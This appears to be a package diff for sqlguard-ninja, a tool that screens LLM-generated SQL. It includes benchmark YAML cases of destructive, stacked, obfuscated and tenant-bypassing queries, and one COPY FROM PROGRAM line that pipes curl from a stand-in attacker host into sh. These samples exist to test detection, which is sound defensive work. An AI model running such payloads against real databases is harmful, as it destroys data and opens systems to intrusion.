sqlguard-ninja 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- sqlguard_ninja/__init__.py +35 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/cases/01_destructive.yaml +169 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/cases/02_multi_statement_and_formatting.yaml +155 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/cases/03_table_and_column_access.yaml +205 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/cases/04_privacy.yaml +245 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/cases/05_tenant_isolation.yaml +167 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/cases/06_cte_nested_unicode.yaml +168 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/cases/07_legitimate_lookalike_cost_dialect.yaml +243 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/generated/grant_matrix.yaml +573 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/generated/label_matrix.yaml +403 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/generated/tenant_matrix.yaml +684 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/generated/transforms.yaml +927 -0
- sqlguard_ninja/_data/benchmarks/datasets/v1/manifest.yaml +15 -0
- sqlguard_ninja/_data/benchmarks/policies/retail_saas.yaml +259 -0
- sqlguard_ninja/_version.py +1 -0
- sqlguard_ninja/benchmarking/__init__.py +1 -0
- sqlguard_ninja/benchmarking/adapters.py +303 -0
- sqlguard_ninja/benchmarking/builtin.py +39 -0
- sqlguard_ninja/benchmarking/compare.py +168 -0
- sqlguard_ninja/benchmarking/dataset.py +265 -0
- sqlguard_ninja/benchmarking/fixtures.py +274 -0
- sqlguard_ninja/benchmarking/metrics.py +114 -0
- sqlguard_ninja/benchmarking/runner.py +126 -0
- sqlguard_ninja/benchmarking/translate.py +64 -0
- sqlguard_ninja/benchmarking/workers/_protocol.py +53 -0
- sqlguard_ninja/benchmarking/workers/agent_sql_guard_worker.py +40 -0
- sqlguard_ninja/benchmarking/workers/krish_sqlguard_worker.py +25 -0
- sqlguard_ninja/benchmarking/workers/sql_guardrail_worker.py +48 -0
- sqlguard_ninja/cli/__init__.py +1 -0
- sqlguard_ninja/cli/config.py +76 -0
- sqlguard_ninja/cli/main.py +433 -0
- sqlguard_ninja/cli/templates.py +91 -0
- sqlguard_ninja/core/__init__.py +1 -0
- sqlguard_ninja/core/analysis.py +581 -0
- sqlguard_ninja/core/findings.py +133 -0
- sqlguard_ninja/core/guard.py +256 -0
- sqlguard_ninja/core/rules/__init__.py +1 -0
- sqlguard_ninja/core/rules/access.py +127 -0
- sqlguard_ninja/core/rules/base.py +40 -0
- sqlguard_ninja/core/rules/catalog.py +61 -0
- sqlguard_ninja/core/rules/functions.py +197 -0
- sqlguard_ninja/core/rules/statements.py +99 -0
- sqlguard_ninja/core/rules/structure.py +72 -0
- sqlguard_ninja/core/rules/tenant.py +196 -0
- sqlguard_ninja/integrations/__init__.py +43 -0
- sqlguard_ninja/integrations/audit.py +109 -0
- sqlguard_ninja/integrations/checkpoint.py +342 -0
- sqlguard_ninja/integrations/executors.py +64 -0
- sqlguard_ninja/integrations/fastapi.py +89 -0
- sqlguard_ninja/integrations/langchain.py +67 -0
- sqlguard_ninja/integrations/langgraph.py +87 -0
- sqlguard_ninja/policy/__init__.py +39 -0
- sqlguard_ninja/policy/model.py +370 -0
- sqlguard_ninja/privacy/__init__.py +9 -0
- sqlguard_ninja/privacy/rules.py +286 -0
- sqlguard_ninja/privacy/suggest.py +46 -0
- sqlguard_ninja/py.typed +0 -0
- sqlguard_ninja/query_cost/__init__.py +1 -0
- sqlguard_ninja/query_cost/postgres.py +226 -0
- sqlguard_ninja/query_cost/static.py +241 -0
- sqlguard_ninja/reporting/__init__.py +1 -0
- sqlguard_ninja/reporting/markdown.py +137 -0
- sqlguard_ninja-0.1.0.dist-info/METADATA +370 -0
- sqlguard_ninja-0.1.0.dist-info/RECORD +68 -0
- sqlguard_ninja-0.1.0.dist-info/WHEEL +4 -0
- sqlguard_ninja-0.1.0.dist-info/entry_points.txt +2 -0
- sqlguard_ninja-0.1.0.dist-info/licenses/LICENSE +202 -0
- sqlguard_ninja-0.1.0.dist-info/licenses/THIRD_PARTY_NOTICES.md +56 -0
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
"""SQLGuard Ninja — policy enforcement, agent checkpoints and benchmarking for LLM-generated SQL.
|
|
2
|
+
|
|
3
|
+
Static SQL inspection is one layer of defence. It does not replace database permissions,
|
|
4
|
+
row-level security, statement timeouts or authentication.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from sqlguard_ninja._version import __version__
|
|
8
|
+
from sqlguard_ninja.core.findings import (
|
|
9
|
+
Action,
|
|
10
|
+
Category,
|
|
11
|
+
Decision,
|
|
12
|
+
Finding,
|
|
13
|
+
Severity,
|
|
14
|
+
ValidationResult,
|
|
15
|
+
)
|
|
16
|
+
from sqlguard_ninja.core.guard import Guard, default_rules
|
|
17
|
+
from sqlguard_ninja.core.rules.base import Rule, RuleContext
|
|
18
|
+
from sqlguard_ninja.policy.model import Access, Policy, PolicyError
|
|
19
|
+
|
|
20
|
+
__all__ = [
|
|
21
|
+
"Access",
|
|
22
|
+
"Action",
|
|
23
|
+
"Category",
|
|
24
|
+
"Decision",
|
|
25
|
+
"Finding",
|
|
26
|
+
"Guard",
|
|
27
|
+
"Policy",
|
|
28
|
+
"PolicyError",
|
|
29
|
+
"Rule",
|
|
30
|
+
"RuleContext",
|
|
31
|
+
"Severity",
|
|
32
|
+
"ValidationResult",
|
|
33
|
+
"__version__",
|
|
34
|
+
"default_rules",
|
|
35
|
+
]
|
|
@@ -0,0 +1,169 @@
|
|
|
1
|
+
defaults:
|
|
2
|
+
role: support_analyst
|
|
3
|
+
dialects: [postgres, sqlite]
|
|
4
|
+
category: destructive
|
|
5
|
+
expected: deny
|
|
6
|
+
classification: malicious
|
|
7
|
+
reason: write_statement
|
|
8
|
+
cases:
|
|
9
|
+
- id: DES-001
|
|
10
|
+
sql: DROP TABLE orders
|
|
11
|
+
explanation: Plain DDL drop of a tenant table.
|
|
12
|
+
- id: DES-002
|
|
13
|
+
sql: DROP TABLE IF EXISTS customers
|
|
14
|
+
explanation: Conditional drop.
|
|
15
|
+
- id: DES-003
|
|
16
|
+
sql: DELETE FROM orders WHERE tenant_id = 1
|
|
17
|
+
explanation: A delete is a write even when correctly tenant-scoped.
|
|
18
|
+
- id: DES-004
|
|
19
|
+
sql: DELETE FROM orders
|
|
20
|
+
explanation: Unbounded delete.
|
|
21
|
+
- id: DES-005
|
|
22
|
+
sql: UPDATE orders SET status = 'cancelled' WHERE tenant_id = 1
|
|
23
|
+
explanation: Update of a granted table by a read-only role.
|
|
24
|
+
- id: DES-006
|
|
25
|
+
sql: UPDATE payments SET amount = 0
|
|
26
|
+
explanation: Financial tampering.
|
|
27
|
+
- id: DES-007
|
|
28
|
+
sql: INSERT INTO orders (id, tenant_id, status) VALUES (99999, 1, 'paid')
|
|
29
|
+
explanation: Insert by a read-only role.
|
|
30
|
+
- id: DES-008
|
|
31
|
+
sql: INSERT INTO support_tickets (id, tenant_id, subject) SELECT id, tenant_id, 'x' FROM orders WHERE tenant_id = 1
|
|
32
|
+
explanation: INSERT ... SELECT looks like a read but writes.
|
|
33
|
+
- id: DES-009
|
|
34
|
+
sql: TRUNCATE TABLE orders
|
|
35
|
+
dialects: [postgres]
|
|
36
|
+
explanation: TRUNCATE (PostgreSQL).
|
|
37
|
+
- id: DES-010
|
|
38
|
+
sql: ALTER TABLE customers ADD COLUMN pwned TEXT
|
|
39
|
+
explanation: Schema change.
|
|
40
|
+
- id: DES-011
|
|
41
|
+
sql: CREATE TABLE stolen AS SELECT * FROM payments
|
|
42
|
+
explanation: CTAS copies data into a new table.
|
|
43
|
+
- id: DES-012
|
|
44
|
+
sql: GRANT ALL ON payments TO PUBLIC
|
|
45
|
+
dialects: [postgres]
|
|
46
|
+
explanation: Privilege escalation.
|
|
47
|
+
- id: DES-013
|
|
48
|
+
sql: REVOKE SELECT ON orders FROM reporting
|
|
49
|
+
dialects: [postgres]
|
|
50
|
+
explanation: Privilege change.
|
|
51
|
+
- id: DES-014
|
|
52
|
+
sql: MERGE INTO orders o USING (SELECT 1 AS id) s ON o.id = s.id WHEN MATCHED THEN DELETE
|
|
53
|
+
dialects: [postgres]
|
|
54
|
+
explanation: MERGE with DELETE action.
|
|
55
|
+
- id: DES-015
|
|
56
|
+
sql: COPY payments TO '/tmp/payments.csv'
|
|
57
|
+
dialects: [postgres]
|
|
58
|
+
explanation: Server-side file export.
|
|
59
|
+
- id: DES-016
|
|
60
|
+
sql: COPY orders FROM PROGRAM 'curl http://attacker.invalid/x | sh'
|
|
61
|
+
dialects: [postgres]
|
|
62
|
+
explanation: Command execution through COPY FROM PROGRAM.
|
|
63
|
+
- id: DES-017
|
|
64
|
+
sql: VACUUM FULL orders
|
|
65
|
+
dialects: [postgres]
|
|
66
|
+
reason: unsupported_statement
|
|
67
|
+
explanation: Maintenance command that takes heavy locks.
|
|
68
|
+
- id: DES-018
|
|
69
|
+
sql: SELECT id, status INTO TEMP stolen FROM orders WHERE tenant_id = 1
|
|
70
|
+
dialects: [postgres]
|
|
71
|
+
explanation: SELECT INTO creates a table.
|
|
72
|
+
- id: DES-019
|
|
73
|
+
sql: CREATE VIEW v AS SELECT card_number FROM payments
|
|
74
|
+
explanation: Creates a persistent object exposing card numbers.
|
|
75
|
+
- id: DES-020
|
|
76
|
+
sql: CREATE INDEX idx_pwn ON orders (status)
|
|
77
|
+
explanation: DDL; also a resource-consumption vector.
|
|
78
|
+
- id: DES-021
|
|
79
|
+
sql: DO $$ BEGIN DELETE FROM orders; END $$
|
|
80
|
+
dialects: [postgres]
|
|
81
|
+
reason: unsupported_statement
|
|
82
|
+
explanation: Anonymous PL/pgSQL block.
|
|
83
|
+
- id: DES-022
|
|
84
|
+
sql: CALL purge_orders(1)
|
|
85
|
+
dialects: [postgres]
|
|
86
|
+
reason: unsupported_statement
|
|
87
|
+
explanation: Stored procedure call with unknown side effects.
|
|
88
|
+
- id: DES-023
|
|
89
|
+
sql: SET ROLE postgres
|
|
90
|
+
dialects: [postgres]
|
|
91
|
+
reason: unsupported_statement
|
|
92
|
+
explanation: Session privilege change.
|
|
93
|
+
- id: DES-024
|
|
94
|
+
sql: SET search_path TO attacker, public
|
|
95
|
+
dialects: [postgres]
|
|
96
|
+
reason: unsupported_statement
|
|
97
|
+
explanation: search_path hijacking can redirect unqualified names to attacker objects.
|
|
98
|
+
- id: DES-025
|
|
99
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1 FOR UPDATE
|
|
100
|
+
dialects: [postgres]
|
|
101
|
+
reason: write_statement
|
|
102
|
+
explanation: Row locks block other transactions.
|
|
103
|
+
- id: DES-026
|
|
104
|
+
sql: LOCK TABLE orders IN ACCESS EXCLUSIVE MODE
|
|
105
|
+
dialects: [postgres]
|
|
106
|
+
reason: unsupported_statement
|
|
107
|
+
explanation: Table lock (denial of service).
|
|
108
|
+
- id: DES-027
|
|
109
|
+
sql: EXPLAIN ANALYZE DELETE FROM orders
|
|
110
|
+
dialects: [postgres]
|
|
111
|
+
reason: unsupported_statement
|
|
112
|
+
explanation: EXPLAIN ANALYZE executes the statement.
|
|
113
|
+
- id: DES-028
|
|
114
|
+
sql: PREPARE p AS DELETE FROM orders; EXECUTE p
|
|
115
|
+
dialects: [postgres]
|
|
116
|
+
reason: multiple_statements
|
|
117
|
+
explanation: Prepared write split over two statements.
|
|
118
|
+
- id: DES-029
|
|
119
|
+
sql: ATTACH DATABASE '/tmp/evil.db' AS evil
|
|
120
|
+
dialects: [sqlite]
|
|
121
|
+
reason: unsupported_statement
|
|
122
|
+
explanation: Attaching a file can create it and write outside the database.
|
|
123
|
+
- id: DES-030
|
|
124
|
+
sql: PRAGMA writable_schema = ON
|
|
125
|
+
dialects: [sqlite]
|
|
126
|
+
reason: unsupported_statement
|
|
127
|
+
explanation: Enables direct edits of sqlite_master.
|
|
128
|
+
- id: DES-031
|
|
129
|
+
sql: VACUUM INTO '/tmp/copy.db'
|
|
130
|
+
dialects: [sqlite]
|
|
131
|
+
reason: unsupported_statement
|
|
132
|
+
explanation: Writes a full copy of the database to an arbitrary path.
|
|
133
|
+
- id: DES-032
|
|
134
|
+
sql: REPLACE INTO orders (id, tenant_id, status) VALUES (1, 1, 'paid')
|
|
135
|
+
dialects: [sqlite]
|
|
136
|
+
explanation: SQLite REPLACE is an upsert.
|
|
137
|
+
- id: DES-033
|
|
138
|
+
sql: INSERT OR REPLACE INTO payments (id, amount) VALUES (1, 0)
|
|
139
|
+
dialects: [sqlite]
|
|
140
|
+
explanation: SQLite upsert variant.
|
|
141
|
+
- id: DES-034
|
|
142
|
+
sql: INSERT INTO orders (id, tenant_id, status) VALUES (1, 1, 'x') ON CONFLICT (id) DO UPDATE SET status = 'refunded'
|
|
143
|
+
explanation: UPSERT.
|
|
144
|
+
- id: DES-035
|
|
145
|
+
sql: COMMENT ON TABLE orders IS 'pwned'
|
|
146
|
+
dialects: [postgres]
|
|
147
|
+
explanation: Catalog write.
|
|
148
|
+
- id: DES-036
|
|
149
|
+
sql: CREATE TRIGGER t AFTER INSERT ON orders BEGIN DELETE FROM payments; END
|
|
150
|
+
dialects: [sqlite]
|
|
151
|
+
reason: unsupported_statement
|
|
152
|
+
explanation: Trigger installs persistent destructive behaviour.
|
|
153
|
+
- id: DES-037
|
|
154
|
+
sql: DROP SCHEMA public CASCADE
|
|
155
|
+
dialects: [postgres]
|
|
156
|
+
explanation: Drops everything.
|
|
157
|
+
- id: DES-038
|
|
158
|
+
sql: RESET ALL
|
|
159
|
+
dialects: [postgres]
|
|
160
|
+
reason: unsupported_statement
|
|
161
|
+
explanation: Resets session limits such as statement_timeout.
|
|
162
|
+
- id: DES-039
|
|
163
|
+
sql: BEGIN
|
|
164
|
+
reason: unsupported_statement
|
|
165
|
+
explanation: Transaction control is not a query and can leave locks open.
|
|
166
|
+
- id: DES-040
|
|
167
|
+
sql: CREATE EXTENSION dblink
|
|
168
|
+
dialects: [postgres]
|
|
169
|
+
explanation: Installs remote-query capability.
|
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
defaults:
|
|
2
|
+
role: support_analyst
|
|
3
|
+
dialects: [postgres, sqlite]
|
|
4
|
+
category: multi_statement
|
|
5
|
+
expected: deny
|
|
6
|
+
classification: malicious
|
|
7
|
+
reason: multiple_statements
|
|
8
|
+
cases:
|
|
9
|
+
- id: MUL-001
|
|
10
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1; DROP TABLE orders
|
|
11
|
+
explanation: Classic stacked query.
|
|
12
|
+
- id: MUL-002
|
|
13
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1; SELECT card_number FROM payments
|
|
14
|
+
explanation: Second statement is a read, but stacking is never permitted.
|
|
15
|
+
- id: MUL-003
|
|
16
|
+
sql: "SELECT 1;\nDELETE FROM orders"
|
|
17
|
+
explanation: Newline-separated stacked write.
|
|
18
|
+
- id: MUL-004
|
|
19
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1;/* hidden */DELETE FROM payments
|
|
20
|
+
explanation: Comment used as separator padding.
|
|
21
|
+
- id: MUL-005
|
|
22
|
+
sql: SELECT status FROM orders WHERE tenant_id = 1 ;; UPDATE orders SET status = 'x'
|
|
23
|
+
explanation: Empty statement between two real ones.
|
|
24
|
+
- id: MUL-006
|
|
25
|
+
sql: SELECT 1; SELECT 2
|
|
26
|
+
explanation: Two harmless statements; drivers that support stacking would run both.
|
|
27
|
+
- id: MUL-007
|
|
28
|
+
sql: "SELECT id FROM orders WHERE tenant_id = 1;\n-- trailing comment\nDROP TABLE x"
|
|
29
|
+
explanation: Write after a line comment on its own line.
|
|
30
|
+
- id: MUL-008
|
|
31
|
+
sql: BEGIN; DELETE FROM orders; COMMIT
|
|
32
|
+
explanation: Wrapped in a transaction.
|
|
33
|
+
- id: MUL-009
|
|
34
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1; SET statement_timeout = 0
|
|
35
|
+
dialects: [postgres]
|
|
36
|
+
explanation: Disables the database-side timeout for later statements.
|
|
37
|
+
- id: MUL-010
|
|
38
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1; ATTACH DATABASE ':memory:' AS x
|
|
39
|
+
dialects: [sqlite]
|
|
40
|
+
explanation: SQLite attach after a valid query.
|
|
41
|
+
|
|
42
|
+
# Single statements that only look stacked.
|
|
43
|
+
- id: MUL-101
|
|
44
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1;
|
|
45
|
+
expected: allow
|
|
46
|
+
reason: none
|
|
47
|
+
explanation: A single trailing semicolon is one statement.
|
|
48
|
+
- id: MUL-102
|
|
49
|
+
sql: SELECT id FROM orders WHERE tenant_id = 1 AND status = 'a;b'
|
|
50
|
+
expected: allow
|
|
51
|
+
reason: none
|
|
52
|
+
explanation: Semicolon inside a string literal.
|
|
53
|
+
- id: MUL-103
|
|
54
|
+
sql: "SELECT id FROM orders WHERE tenant_id = 1 -- ; DROP TABLE orders"
|
|
55
|
+
expected: allow
|
|
56
|
+
reason: none
|
|
57
|
+
explanation: The DROP is inside a line comment and never executes.
|
|
58
|
+
- id: MUL-104
|
|
59
|
+
sql: "SELECT id FROM orders /* ; DELETE FROM orders; */ WHERE tenant_id = 1"
|
|
60
|
+
expected: allow
|
|
61
|
+
reason: none
|
|
62
|
+
explanation: Statement text inside a block comment.
|
|
63
|
+
- id: MUL-105
|
|
64
|
+
sql: SELECT id, $$;DROP TABLE orders$$ AS note FROM orders WHERE tenant_id = 1
|
|
65
|
+
dialects: [postgres]
|
|
66
|
+
expected: allow
|
|
67
|
+
reason: none
|
|
68
|
+
explanation: Dollar-quoted string literal containing a semicolon.
|
|
69
|
+
|
|
70
|
+
# Comments and unusual formatting around otherwise-unsafe statements.
|
|
71
|
+
- id: FMT-001
|
|
72
|
+
sql: "DR/**/OP TABLE orders"
|
|
73
|
+
category: comments_formatting
|
|
74
|
+
reason: parse_error
|
|
75
|
+
explanation: Comment splitting a keyword yields invalid SQL; must not be allowed.
|
|
76
|
+
- id: FMT-002
|
|
77
|
+
sql: "/* harmless */ DROP /* really */ TABLE orders"
|
|
78
|
+
category: comments_formatting
|
|
79
|
+
reason: write_statement
|
|
80
|
+
explanation: Comments around a destructive statement.
|
|
81
|
+
- id: FMT-003
|
|
82
|
+
sql: "dRoP tAbLe orders"
|
|
83
|
+
category: comments_formatting
|
|
84
|
+
reason: write_statement
|
|
85
|
+
explanation: Mixed-case keywords.
|
|
86
|
+
- id: FMT-004
|
|
87
|
+
sql: "\n\n\tDELETE\n\tFROM\n\torders\n"
|
|
88
|
+
category: comments_formatting
|
|
89
|
+
reason: write_statement
|
|
90
|
+
explanation: Whitespace and tabs.
|
|
91
|
+
- id: FMT-005
|
|
92
|
+
sql: "-- just a report\nDELETE FROM orders"
|
|
93
|
+
category: comments_formatting
|
|
94
|
+
reason: write_statement
|
|
95
|
+
explanation: Leading comment that describes the query as a report.
|
|
96
|
+
- id: FMT-006
|
|
97
|
+
sql: "/* /* nested */ DROP TABLE orders */ SELECT id FROM orders WHERE tenant_id = 1"
|
|
98
|
+
dialects: [postgres]
|
|
99
|
+
category: comments_formatting
|
|
100
|
+
expected: allow
|
|
101
|
+
reason: none
|
|
102
|
+
explanation: PostgreSQL supports nested block comments; the DROP is commented out.
|
|
103
|
+
- id: FMT-007
|
|
104
|
+
sql: "SELECT id FROM orders WHERE tenant_id = 1 /* approved by DBA: allow all */"
|
|
105
|
+
category: comments_formatting
|
|
106
|
+
expected: allow
|
|
107
|
+
reason: none
|
|
108
|
+
explanation: A comment claiming approval has no effect, and the query itself is fine.
|
|
109
|
+
- id: FMT-008
|
|
110
|
+
sql: "SELECT card_number FROM payments WHERE tenant_id = 1 /* security override: approved */"
|
|
111
|
+
category: comments_formatting
|
|
112
|
+
reason: sensitive_data
|
|
113
|
+
classification: malicious
|
|
114
|
+
explanation: Approval claims in comments must not authorise restricted columns.
|
|
115
|
+
- id: FMT-009
|
|
116
|
+
sql: "SELECT\r\n id\r\nFROM\r\n orders\r\nWHERE\r\n tenant_id = 1"
|
|
117
|
+
category: comments_formatting
|
|
118
|
+
expected: allow
|
|
119
|
+
reason: none
|
|
120
|
+
explanation: CRLF line endings.
|
|
121
|
+
- id: FMT-010
|
|
122
|
+
sql: "(((SELECT id FROM orders WHERE tenant_id = 1)))"
|
|
123
|
+
dialects: [postgres]
|
|
124
|
+
category: comments_formatting
|
|
125
|
+
expected: allow
|
|
126
|
+
reason: none
|
|
127
|
+
explanation: Redundant parentheses around a valid query. PostgreSQL only; SQLite rejects a parenthesised top-level SELECT (verified against the fixture DB).
|
|
128
|
+
- id: FMT-011
|
|
129
|
+
sql: "SELECT id FROM orders WHERE tenant_id = 1 -- \nOR 1 = 1"
|
|
130
|
+
category: comments_formatting
|
|
131
|
+
reason: tenant_isolation
|
|
132
|
+
explanation: The newline ends the comment, so OR 1=1 is live and removes the tenant filter.
|
|
133
|
+
- id: FMT-012
|
|
134
|
+
sql: "SELECT id FROM orders WHERE tenant_id = 1 /* OR 1 = 1 */"
|
|
135
|
+
category: comments_formatting
|
|
136
|
+
expected: allow
|
|
137
|
+
reason: none
|
|
138
|
+
explanation: The bypass is inside a comment and is not executed.
|
|
139
|
+
- id: FMT-013
|
|
140
|
+
sql: "SELECT/**/id/**/FROM/**/orders/**/WHERE/**/tenant_id/**/=/**/2"
|
|
141
|
+
category: comments_formatting
|
|
142
|
+
reason: tenant_isolation
|
|
143
|
+
explanation: Comment-as-whitespace obfuscation of a cross-tenant read.
|
|
144
|
+
- id: FMT-014
|
|
145
|
+
sql: " "
|
|
146
|
+
category: comments_formatting
|
|
147
|
+
reason: parse_error
|
|
148
|
+
classification: policy_violation
|
|
149
|
+
explanation: Empty input must be rejected, not treated as a no-op success.
|
|
150
|
+
- id: FMT-015
|
|
151
|
+
sql: "-- only a comment"
|
|
152
|
+
category: comments_formatting
|
|
153
|
+
reason: parse_error
|
|
154
|
+
classification: policy_violation
|
|
155
|
+
explanation: A comment with no statement.
|
|
@@ -0,0 +1,205 @@
|
|
|
1
|
+
defaults:
|
|
2
|
+
dialects: [postgres, sqlite]
|
|
3
|
+
expected: deny
|
|
4
|
+
classification: policy_violation
|
|
5
|
+
cases:
|
|
6
|
+
# ---- unauthorized tables ----
|
|
7
|
+
- id: TAB-001
|
|
8
|
+
role: warehouse_analyst
|
|
9
|
+
sql: SELECT e.full_name, e.salary FROM employees e
|
|
10
|
+
category: unauthorized_table
|
|
11
|
+
reason: unauthorized_table
|
|
12
|
+
explanation: Warehouse analysts have no grant on HR records.
|
|
13
|
+
- id: TAB-002
|
|
14
|
+
role: support_analyst
|
|
15
|
+
sql: SELECT id, department FROM employees
|
|
16
|
+
category: unauthorized_table
|
|
17
|
+
reason: unauthorized_table
|
|
18
|
+
explanation: Support has no grant on employees.
|
|
19
|
+
- id: TAB-003
|
|
20
|
+
role: reporting_agent
|
|
21
|
+
sql: SELECT p.amount FROM payments p WHERE p.tenant_id = 1
|
|
22
|
+
category: unauthorized_table
|
|
23
|
+
reason: unauthorized_table
|
|
24
|
+
explanation: The reporting agent may not read payments.
|
|
25
|
+
- id: TAB-004
|
|
26
|
+
role: support_analyst
|
|
27
|
+
sql: SELECT id, name, plan FROM tenants
|
|
28
|
+
category: unauthorized_table
|
|
29
|
+
reason: unauthorized_table
|
|
30
|
+
explanation: The tenant directory is for platform admins only.
|
|
31
|
+
- id: TAB-005
|
|
32
|
+
role: hr_analyst
|
|
33
|
+
sql: SELECT c.full_name FROM customers c WHERE c.tenant_id = 1
|
|
34
|
+
category: unauthorized_table
|
|
35
|
+
reason: unauthorized_table
|
|
36
|
+
explanation: HR has no grant on customer data.
|
|
37
|
+
- id: TAB-006
|
|
38
|
+
role: support_analyst
|
|
39
|
+
sql: SELECT * FROM users
|
|
40
|
+
category: unauthorized_table
|
|
41
|
+
reason: unauthorized_table
|
|
42
|
+
classification: malicious
|
|
43
|
+
explanation: Table not in the catalog (probing for a users table).
|
|
44
|
+
- id: TAB-007
|
|
45
|
+
role: support_analyst
|
|
46
|
+
sql: SELECT o.id FROM private.orders o WHERE o.tenant_id = 1
|
|
47
|
+
dialects: [postgres]
|
|
48
|
+
category: unauthorized_table
|
|
49
|
+
reason: unauthorized_table
|
|
50
|
+
explanation: Same table name in another schema is a different table.
|
|
51
|
+
- id: TAB-008
|
|
52
|
+
role: support_analyst
|
|
53
|
+
sql: SELECT e.id FROM public.employees e
|
|
54
|
+
dialects: [postgres]
|
|
55
|
+
category: unauthorized_table
|
|
56
|
+
reason: unauthorized_table
|
|
57
|
+
explanation: Schema-qualification does not change grants.
|
|
58
|
+
- id: TAB-009
|
|
59
|
+
role: finance_analyst
|
|
60
|
+
sql: SELECT s.tracking_number FROM shipments s WHERE s.tenant_id = 1
|
|
61
|
+
category: unauthorized_table
|
|
62
|
+
reason: unauthorized_table
|
|
63
|
+
explanation: Finance has no grant on shipments.
|
|
64
|
+
- id: TAB-010
|
|
65
|
+
role: warehouse_analyst
|
|
66
|
+
sql: SELECT t.subject FROM support_tickets t WHERE t.tenant_id = 1
|
|
67
|
+
category: unauthorized_table
|
|
68
|
+
reason: unauthorized_table
|
|
69
|
+
explanation: Support tickets are outside the warehouse role.
|
|
70
|
+
- id: TAB-011
|
|
71
|
+
role: hr_analyst
|
|
72
|
+
sql: SELECT w.name, COUNT(*) FROM employees e JOIN warehouses w ON w.id = e.warehouse_id GROUP BY w.name
|
|
73
|
+
category: unauthorized_table
|
|
74
|
+
expected: allow
|
|
75
|
+
reason: none
|
|
76
|
+
explanation: HR may join employees to warehouses.
|
|
77
|
+
- id: TAB-012
|
|
78
|
+
role: warehouse_analyst
|
|
79
|
+
sql: SELECT w.region, COUNT(*) AS shipments FROM shipments s JOIN warehouses w ON w.id = s.warehouse_id WHERE s.tenant_id = 1 GROUP BY w.region
|
|
80
|
+
category: unauthorized_table
|
|
81
|
+
expected: allow
|
|
82
|
+
reason: none
|
|
83
|
+
explanation: Granted tables, tenant pinned.
|
|
84
|
+
- id: TAB-013
|
|
85
|
+
role: support_analyst
|
|
86
|
+
sql: SELECT o.id FROM orders o JOIN audit_log a ON a.ref = o.id WHERE o.tenant_id = 1
|
|
87
|
+
category: unauthorized_table
|
|
88
|
+
reason: unauthorized_table
|
|
89
|
+
explanation: Unknown table joined to a permitted one.
|
|
90
|
+
- id: TAB-014
|
|
91
|
+
role: platform_admin
|
|
92
|
+
sql: SELECT t.name, COUNT(o.id) FROM tenants t LEFT JOIN orders o ON o.tenant_id = t.id GROUP BY t.name
|
|
93
|
+
category: unauthorized_table
|
|
94
|
+
expected: allow
|
|
95
|
+
reason: none
|
|
96
|
+
explanation: Platform admins may report across tenants.
|
|
97
|
+
|
|
98
|
+
# ---- unauthorized columns ----
|
|
99
|
+
- id: COL-001
|
|
100
|
+
role: support_analyst
|
|
101
|
+
sql: SELECT p.iban FROM payments p WHERE p.tenant_id = 1
|
|
102
|
+
category: unauthorized_column
|
|
103
|
+
reason: unauthorized_column
|
|
104
|
+
explanation: IBAN is not in the support grant on payments.
|
|
105
|
+
- id: COL-002
|
|
106
|
+
role: support_analyst
|
|
107
|
+
sql: SELECT c.phone FROM customers c WHERE c.tenant_id = 1
|
|
108
|
+
category: unauthorized_column
|
|
109
|
+
reason: unauthorized_column
|
|
110
|
+
explanation: Phone is not in the support grant on customers.
|
|
111
|
+
- id: COL-003
|
|
112
|
+
role: support_analyst
|
|
113
|
+
sql: SELECT c.date_of_birth FROM customers c WHERE c.tenant_id = 1
|
|
114
|
+
category: unauthorized_column
|
|
115
|
+
reason: unauthorized_column
|
|
116
|
+
explanation: Date of birth is not granted to support.
|
|
117
|
+
- id: COL-004
|
|
118
|
+
role: warehouse_analyst
|
|
119
|
+
sql: SELECT o.total_amount FROM orders o WHERE o.tenant_id = 1
|
|
120
|
+
category: unauthorized_column
|
|
121
|
+
reason: unauthorized_column
|
|
122
|
+
explanation: Warehouse may see order status but not order value.
|
|
123
|
+
- id: COL-005
|
|
124
|
+
role: finance_analyst
|
|
125
|
+
sql: SELECT o.shipping_address FROM orders o WHERE o.tenant_id = 1
|
|
126
|
+
category: unauthorized_column
|
|
127
|
+
reason: unauthorized_column
|
|
128
|
+
explanation: Finance grant excludes shipping address.
|
|
129
|
+
- id: COL-006
|
|
130
|
+
role: reporting_agent
|
|
131
|
+
sql: SELECT c.full_name FROM customers c WHERE c.tenant_id = 1
|
|
132
|
+
category: unauthorized_column
|
|
133
|
+
reason: unauthorized_column
|
|
134
|
+
explanation: Names are not granted to the reporting agent.
|
|
135
|
+
- id: COL-007
|
|
136
|
+
role: support_analyst
|
|
137
|
+
sql: SELECT c.id FROM customers c WHERE c.tenant_id = 1 AND c.phone LIKE '+00%'
|
|
138
|
+
category: unauthorized_column
|
|
139
|
+
reason: unauthorized_column
|
|
140
|
+
explanation: Ungranted column used only in a filter still leaks information.
|
|
141
|
+
- id: COL-008
|
|
142
|
+
role: support_analyst
|
|
143
|
+
sql: SELECT c.id FROM customers c WHERE c.tenant_id = 1 ORDER BY c.date_of_birth
|
|
144
|
+
category: unauthorized_column
|
|
145
|
+
reason: unauthorized_column
|
|
146
|
+
explanation: Ordering by an ungranted column leaks its order.
|
|
147
|
+
- id: COL-009
|
|
148
|
+
role: warehouse_analyst
|
|
149
|
+
